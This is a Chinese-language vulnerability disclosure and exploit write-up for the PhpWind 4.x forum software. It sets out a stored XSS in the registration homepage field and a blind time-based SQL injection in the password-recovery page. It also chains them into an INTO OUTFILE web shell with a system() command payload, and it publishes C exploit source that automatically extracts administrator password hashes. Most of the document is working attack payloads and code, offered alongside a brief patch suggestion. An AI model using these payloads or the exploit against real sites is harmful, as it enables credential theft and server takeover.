孤烟逐云/江苏大学信息安全系
漏洞文件: register.php、sendpwd.php
影响版本:PhpWind 4.0.1-4.3.2
测试版本: PhpWind 4.0.1
测试环境:WindowsXp Professional SP2 + Mysql4.1
PhpWind 是由国人开发的一套基于Php+Mysql 的论坛系统,由于出色的性能发挥和界面的美观以及众多的插件支持赢得了普遍的赞誉,历来安全系数也要比基于Asp的高,许多站点都采用了PhpWind, 例如国内最大的信息安全团队->邪恶八进制,这次能够发现这样的漏洞也再次说明了国内对脚本安全还没有能够真正引起重视.
才开学几天,其它 同学都是新年新气象,而我却在为考试而焦头烂额(PS:不是学校BT,而是上个学期挂了N门,汗……)一想起就很不爽,所以就想黑几个站撒撒气,暴汗…… 连邪恶八进制也用PhpWind这个论坛,我猜想安全性一定不错,但我这人偏不信邪,立刻从网上Down了一份代码开始啃……代码给人的感觉十分严谨,但 可读性并不是很强,从许多方面都能看出作者的安全意识的确很强,所以这次能够发现这样的漏洞也算是侥幸。
一、匪夷所思的跨站
跨站的问题出在注册页面register.php中,从123行开始代码如下:
$rg_name = Char_cv($regname);
$regpwd = Char_cv($regpwd);
$rg_pwd = md5($regpwd);
$regreason = Char_cv($regreason);
$rg_homepage = Char_cv($reghomepage);
$rg_from = Char_cv($regfrom);
$rg_introduce = Char_cv($regintroduce);
$rg_sign = Char_cv($regsign);
if(strlen($rg_introduce)>200) Showmsg('introduce_limit');
if($rg_sign != ""){
if(strlen($rg_sign)>50){
$gp_signnum=50;
Showmsg('sign_limit');
}
require_once(R_P.'require/bbscode.php');
$lxsign=convert($rg_sign,$db_windpic,2);
if($lxsign==$rg_sign){
$rg_ifconvert=1;
} else{
$rg_ifconvert=2;
}
} else{
$rg_ifconvert=1;
}
if(@include_once(D_P."data/bbscache/wordsfb.php")){
if($wordsfb){
foreach($wordsfb as $key => $value){
if(strpos($rg_sign,(string)$key) !== false){
$banword = $key;
Showmsg('post_wordsfb');
}
if(strpos($rg_introduce,(string)$key) !== false){
$banword = $key;
Showmsg('post_wordsfb');
}
}
}
}
if (strpos($regpwd,"\r")!==false || strpos($regpwd,"\t")!==false || strpos($regpwd,"|")!==false || strpos($regpwd,"<")!==false || strpos($regpwd,">")!==false) {
Showmsg('illegal_password');
}
if (empty($regemail) || !ereg("^[-a-zA-Z0-9_\.]+\@([0-9A-Za-z][0-9A-Za-z-]+\.)+[A-Za-z]{2,5}$",$regemail)) {
Showmsg('illegal_email');
} else{
$rg_email=$regemail;
}
$rs = $db->get_one("SELECT COUNT(*) AS count FROM pw_members WHERE username='$rg_name'");
if($rs['count']>0) {
Showmsg('username_same');
}
$rg_name=='guest' && Showmsg('illegal_username');
$rg_banname=explode(',',$rg_banname);
foreach($rg_banname as $value){
if(strpos($rg_name,$value)!==false){
Showmsg('illegal_username');
}
}
$rg_sex=$regsex ? $regsex : "0";
$rg_birth= (!$regbirthyear||!$regbirthmonth||!$regbirthday)?'0000-00-00':$regbirthyear."-".$regbirthmonth."-".$regbirthday;
$rg_oicq=($regoicq ? $regoicq :'');
$rg_homepage=$reghomepage ? $reghomepage :'';
$rg_from=$regfrom ? $regfrom : '';
其中的Char_cv函数负责对用户提交的数据进行特殊字符的过滤,函数的代码如下:
function Char_cv($msg){
$msg = str_replace("\t","",$msg);
$msg = str_replace("<","<",$msg);
$msg = str_replace(">",">",$msg);
$msg = str_replace("\r","",$msg);
$msg = str_replace("\n","<br />",$msg);
$msg = str_replace(" "," ",$msg); return $msg;
}
可 以看到几乎所有的关键字符统统被过滤了,跨站从何而来的?戴着眼镜的同志注意了,扶好眼镜,因为接下来发生的也许会让你大跌眼镜,跨站就出现在对个人主页 的过滤不完全上,尽管127行的$rg_homepage = Char_cv($reghomepage);对用户提交的主页数据进行了过滤,但是184行的语句$rg_homepage=$reghomepage ? $reghomepage :'';熟悉C语言的同志都知道,如果reghomepage变量不为空则将值赋予reghomepage变量,唉……无语了…….至于怎么利用我想就不 用说了,地球人都知道,能否骗到管理员就看你的社会工程学水平了。在注册的时候个人主页栏填 入<script>alert(document.cookie)</script>。如图
但是有一点似乎大多数论坛只有版主以上的用户才有看个人资料的权利,所以利用起来有点困难,但是在满足一定条件下配合下面的注入漏洞甚至能够直接获得WebShell!
经本人测试,互联网上几乎所有的PhpWind论坛都存在此跨站
在官方补丁出来之前,可以暂时采用如下的方案:将两句出现问题的代码交换位置
$rg_homepage=$reghomepage ? $reghomepage :'';
$rg_homepage = Char_cv($rg_homepage);
二、百密一疏的注入
我 仔细检查了很多可能存在注入的地方,但是没有找到,总的来说PhpWind的安全性是很不错的,所有的错误也都被屏蔽了,但黄天不负有心人,还是被我找到 了一处存在注入的地方,问题出现在sendpwd.php,取回密码的地方,没有对用户提交的pwuser变量进行充分的过滤,有可能直接威胁到整个服务 器的安全,出现问题的代码如下:
require_once('global.php');
require_once(R_P.'require/header.php');
!$action && $action='sendpwd';
if ($action == 'sendpwd'){
list(,,,,$othergd)=explode("\t",$db_gdcheck);
if (!$_POST['step']){
require_once(PrintEot('sendpwd'));footer();
} elseif ($_POST['step'] == 2){
$othergd && GetCookie('cknum')!=md5(D_P.$gdcode) && Showmsg('check_error');
$userarray = $db->get_one("SELECT password,email,regdate FROM pw_members WHERE username='$pwuser'");
if ($userarray['email'] != $email){
Showmsg('email_error',1);
}
其实主要问题还是出在这一句:$db->get_one("SELECT password,email,regdate FROM pw_members WHERE username='$pwuser'");
十分明显的注入点,攻击者怎样利用此漏洞呢?由于页面本身对用户名有16字节的限制,因此在测试的时候可以先保存整个Html页,然后将
<FORM action=/sendpwd.php? method=post><INPUT type=hidden value=2 name=step>
<TABLE cellSpacing=1 cellPadding=3 width="98%" align=center bgColor=#e7e3e7>
<TBODY>
<TR>
<TD height=25><B>密码发送程序</B></TD></TR>
<TR>
<TD><BR>利用论坛的用户名和email发送密码,请输入您的用户名和email地址: <BR><BR>用户名 : <INPUT size=160
name=pwuser><BR>Email : <INPUT size=16
name=email><BR></TD></TR></TBODY></TABLE><BR>
<CENTER><INPUT type=submit value="提 交"></CENTER></FORM><BR>中的表单提交地址action=/sendpwd.php? 改成相应的地址我这里就是改成
http://localhost/bbs/sendpwd.php?,并将用户名的size值加大,不然我们的注入语句可填不下,我这里是改成了160加了个零,应该是足够了,这样我们就可以开始了,如图2
我 想大家应该对Php+Mysql的注入比较熟悉了,UNION查询嘛!但是还有一个问题,就是PhpWind无论你猜的正确与否,它都会返回您输入的用户 名和email地址不符,请重新输入。(PS:当然是在你不知道管理员Email的前提下),试多了还会返回超时,或者就是发送失败,总之很难直接判断。 这时就需要用到盲注:Blind Injection就是在错误回显关闭的情况下进行判断查询语句的正确与否,需要用到Mysql中的一个函数BENCHMARK,先来介绍一下这个函数 吧,Mysql中文参考手册对其解释如下:
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+----------------------------------------------+
| BENCHMARK(1000000,encode("hello","goodbye")) |
+----------------------------------------------+
| 0 |
+----------------------------------------------+
1 row in set (4.74 sec)
聪明的你应该想到方法了,对了,其实就是通过暴力运算从而打一个时间差进行返回结果正确与否的判断,这不是什么新的技术了,国外早在几年前就开始利用了,看我构造的语句如下:
admin' UNION SELECT IF (SUBSTRING(password,1,1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null),1, 1 FROM pw_members WHERE uid= 1/*就是假如admin的密码第一位如果是5的话就执行一百万次MD5加密运算,Email可填可不填,反正返回结果对于我们来说并不是很重要,假如猜 对的话那么IE会出现明显的迟滞,假如你觉得效果还不明显的话,次数还可以增加,汗……,如图3:
反之如果结果错误则会立刻返回结果。这是比较严重的漏洞,应该可以获得论坛所有用户的MD5 Hash!
刚 才还提到了将两个漏洞一起利用但需要一个条件那就是需要知道目标的绝对路径,可以直接获得WebShell,在刚才存在跨站的地方如果写入的是 WebShell的代码,并且构造语句如下:' union select 1,2,site from pw_members where username='asdf' into outfile 'c:\\inetpub\\wwwroot\\1.php'/*,这样就获得了一个WebShell,
想获得shell以及密码还有一个必要的条件就是magic_quotes_gpc = Off,否则无法成功,所以可利用性打点折扣,也请广大网管朋友尽快堵住漏洞,说不定有高手就能绕过mgp的限制,嘿嘿。如图3,4:
在实际利用的时候我发现site字段的大小很小,所以只能提交一些非常简陋的shell,因此这儿跨站的利用代码也不能太长,我填写的个人主页中的代码如下:
<?php
Echo "<pre>";$cmd=$_GET[cmd];system("$cmd");echo "</pre>";?>,似乎也刚刚好,再提交大的最后的?>就进不去了,那我们的shell也就白搭了,^_^.
最 后由于MD5 hash长达32位,手工猜测十分废力,何况每次猜对还得浪费5秒钟呢!因此我写了一个exploit,以便提高猜解的效率,本着黑客共享的精神公布源代 码,小弟不才,设计的算法很差,因此猜解的准确率实在不敢恭维,也没有那么多的时间,望有高手能够改进,顺便也给我一份,小弟在此先谢了。采用了 C+SDK编写,界面如图5:(PS:确实比较丑,^_^)
核心代码如下(完整代码另附):
WSADATA wsaData;
WSAStartup(MAKEWORD( 2,2 ),&wsaData);
SOCKET lsocket;
//套接字的初始化
Lsocket=socket (AF_INET,SOCK_STREAM,IPPROTO_TCP );
if (lsocket == INVALID_SOCKET)
{
MessageBox(hdlg,"Socket Error!","Attack Stopped!",MB_ICONINFORMATION);
EnableWindow(GetDlgItem(hdlg,IDOK),true);
return false;
}
LPHOSTENT pHost;
pHost = gethostbyname(host);//通过host获得对应的IP地址
strcpy(hostip,inet_ntoa((*(LPIN_ADDR)pHost->h_addr_list[0])));//将IP地址拷贝到hostip数组
//连接目标Web服务器
sockaddr_in att;
att.sin_family = AF_INET;
att.sin_addr.s_addr = inet_addr ( hostip );
att.sin_port = htons (80);
if ( connect (lsocket,(SOCKADDR*)&att,sizeof(att) ) == SOCKET_ERROR )
{
WSACleanup();
MessageBox(hdlg,"连接服务器失败!","发送失败",MB_ICONINFORMATION);
return false;
}
//Http头的第一部分
char Header1[] = "Accept: */*"
"\n"
"Accept-Language: zh-cn"
"\n"
"Content-Type: application/x-www-form-urlencoded"
"\n"
"Accept-Encoding: gzip, deflate"
"\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)"
"\n";
//Http头的第二部分
char Header2[] =
"Connection: Keep-Alive"
"\n"
"Cache-Control: no-cache"
"\n"
"Cookie: lastfid=0; lastvisit=274%091140673402%09%2Fbbs%2Fsendpwd.php%3F; lastwrite=1140673402"
"\n\n";
//step=2&pwuser=admin%27+UNION+SELECT+IF+%28SUBSTRING%28password%2C1%2C1%29+%3D+CHAR%2853%29%2C+BENCHMARK%281000000%2C+MD5%28CHAR%281%29%29%29%2C+null%29%2C+2%2C+3+FROM+pw_members+WHERE+uid%3D+1%2F*&email=admin@admin.com
char request[1520]={0};
char temp[512]={0};
char content[512]={0};
char recvbuf[1024]={0};
int j;
bool bover = false;
WORD stime1,stime2;
SYSTEMTIME st;
//判断正确的条件就是recv函数返回的时间>7秒
for ( int i =1 ; i <= 32 ; i++)//循环32次破解
{
for ( j = 48 ; j < 58; j++ )//对数字的破解
{
sprintf(content,"step=2&pwuser=%s",name);
strcat(content,"%27+UNION+SELECT+IF+%28SUBSTRING%28password%2C");
sprintf(temp,"%d",i);
strcat(content,temp);
strcat(content,"%2C1%29+%3D+CHAR%28");
ZeroMemory(temp,512);
sprintf(temp,"%d",j);
strcat(content,temp);
strcat(content,"%29%2C+BENCHMARK%281000000%2C+MD5%28CHAR%281%29%29%29%2C+null%29%2C+2%2C+3+FROM+pw_members+WHERE+username%3D+%27");
ZeroMemory(temp,512);
sprintf(temp,"%s",name);
strcat(content,temp);
strcat(content,"%27%2F*%3B&email=admin@admin.com");
sprintf(request,"POST %s? HTTP/1.1\n%sHost: %s\r\nContent-Length: %d\n%s%s",targeturl,Header1,host,strlen(content),Header2,content);
GetLocalTime(&st);
stime1 = st.wSecond;
send(lsocket,request,strlen(request),0);
recv(lsocket,recvbuf,1024,0);
GetLocalTime(&st);
stime2 = st.wSecond;
//对条件的判断
if ( (stime2 - stime1 >= 6 && stime1 < 54) || (stime1 >= 54 && stime2 + 60 - stime1 >=6) )
{
result
= j;
bover = true;
sprintf(temp,"第 %d 位是%c\r\n",i,j);
strcat(information,temp);
break;
}
ZeroMemory(recvbuf,1024);
}
//如果为数字则跳过对字母的判断
if ( bover )
{
bover = false;
continue;
}
//97-102
for ( j = 97 ; j < 103; j++ )
{
sprintf(content,"step=2&pwuser=%s",name);
strcat(content,"%27+UNION+SELECT+IF+%28SUBSTRING%28password%2C");
sprintf(temp,"%d",i);
strcat(content,temp);
strcat(content,"%2C1%29+%3D+CHAR%28");
sprintf(temp,"%d",j);
strcat(content,temp);
strcat(content,"%29%2C+BENCHMARK%281000000%2C+MD5%28CHAR%281%29%29%29%2C+null%29%2C+2%2C+3+FROM+pw_members+WHERE+username%3D+\'");
sprintf(temp,"%s",name);
strcat(content,temp);
strcat(content,"\'%2F*&email=admin@admin.com\0");
sprintf(request,"POST %s? HTTP/1.1\n%sHost: %s\r\nContent-Length: %d\n%s%s",targeturl,Header1,host,strlen(content),Header2,content);
send(lsocket,request,strlen(request),0);
GetLocalTime(&st);
stime2 = st.wSecond;
if ( (stime2 - stime1 >= 6 && stime1 < 54) || (stime1 >= 54 && stime2 + 60 - stime1 >=6) )
{
result = j;
sprintf(temp,"第 %d 位是%c\r\n",i,j);
strcat(information,temp);
break;
}
}
}
return 0;
}
代码写的很乱,见笑了。
其中的查询语句where中的限定语句是使用username,假如碰到magic_quotes_gpc = On的情况可以修改成以uid字段为限定条件,这样就可以绕过单引号的限制。
行文仓促,错误纰漏在所难免,希望各位读者能够不吝赐教,另外请不要利用此漏洞去干非法的事,否则造成的后果与本人无关!